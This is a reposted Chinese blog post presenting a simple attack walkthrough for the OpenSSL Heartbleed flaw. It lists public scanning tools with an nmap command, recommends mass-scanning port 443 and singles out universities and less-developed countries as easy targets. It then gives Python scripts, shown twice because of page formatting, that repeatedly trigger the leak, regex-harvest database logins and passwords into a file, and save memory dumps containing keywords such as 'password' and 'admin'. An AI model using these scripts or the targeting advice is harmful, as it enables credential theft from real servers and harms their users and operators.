标签:
转自:http://www.lijiejie.com/openssl-heartbleed-attack/
OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把。 单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有: 1. Nmap脚本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html nmap -sV --script=ssl-heartbleed <target> 1 nmap -sV --script=ssl-heartbleed <target> 2. Jared Stafford的testssl.py: https://gist.github.com/sh1n0b1/10100394 3. CSHeartbleedScanner: http://www.crowdstrike.com/community-tools/ 若想要批量寻找攻击目标,可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。 得到活跃主机IP地址,再导入上述扫描器。 针对特定的某个攻击目标,可以查看已经读到的内容,利用正则表达式不停拉抓账号密码。 也可以根据关键词,不停抓下cookie,账号等。 将testssl.py的代码修改为不输出偏移地址和非ascii字符,找到hexdump函数,修改为: def hexdump(s): pdat = ‘‘ for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] pdat += ‘‘.join((c if 32 <= ord(c) <= 126 else ‘.‘ )for c in lin) print ‘%s‘ % (pdat.replace(‘......‘, ‘‘),) print 1 2 3 4 5 6 7 8 def hexdump(s): pdat = ‘‘ for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] pdat += ‘‘.join((c if 32 <= ord(c) <= 126 else ‘.‘ )for c in lin) print ‘%s‘ % (pdat.replace(‘......‘, ‘‘),) print 这样就只输出有用的ascii字符串了。 1. 正则表达式抓账号 import os import re import time accounts = [] while True: result = os.popen(‘openssl.py ‘).read() matches = re.findall(‘"db":"(.*?)","login":"(.*?)","password":"(.*?)"‘, result) for match in matches: if match not in accounts: accounts.append(match) with open(‘accounts.txt‘, ‘a‘) as inFile: inFile.write(str(match) + ‘\n‘) print ‘New Account:‘, match time.sleep(1.0) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import os import re import time accounts = [] while True: result = os.popen(‘openssl.py ‘).read() matches = re.findall(‘"db":"(.*?)","login":"(.*?)","password":"(.*?)"‘, result) for match in matches: if match not in accounts: accounts.append(match) with open(‘accounts.txt‘, ‘a‘) as inFile: inFile.write(str(match) + ‘\n‘) print ‘New Account:‘, match time.sleep(1.0) 脚本间隔一秒钟读一次数据,发现正则匹配的账号密码,若之前没出现过,就写入accounts.txt文件。 这样可以避免重复写入同样的账号、密码。 2. 根据关键词抓数据 如果并不确定后台地址,也不知道登录请求、Cookie的格式,直接用关键词抓账号就行了。 类似下面的代码: import os import re import time accounts = [] while True: result = os.popen(‘openssl.py ‘).read() keywords = [‘system‘, ‘password‘, ‘passwd‘, ‘admin‘] for word in keywords: if result.find(word) > 0: print ‘new data‘, time.asctime() with open(‘data_1\\‘ + time.asctime().replace(‘:‘, ‘ ‘) + ‘.txt‘, ‘w‘) as f: f.write(result) break time.sleep(1.0) import os import re import time accounts = [] while True: result = os.popen(‘openssl.py ‘).read() keywords = [‘system‘, ‘password‘, ‘passwd‘, ‘admin‘] for word in keywords: if result.find(word) > 0: print ‘new data‘, time.asctime() with open(‘data_1\\‘ + time.asctime().replace(‘:‘, ‘ ‘) + ‘.txt‘, ‘w‘) as f: f.write(result) break time.sleep(1.0) 这样一旦返回的数据中存在关键词passwd、password等,就会把数据写入data_1文件夹下面,以时间命名。
OpenSSL Heartbleed "心脏滴血"漏洞简单攻击示例
标签:
原文地址:http://www.cnblogs.com/dongchi/p/4931534.html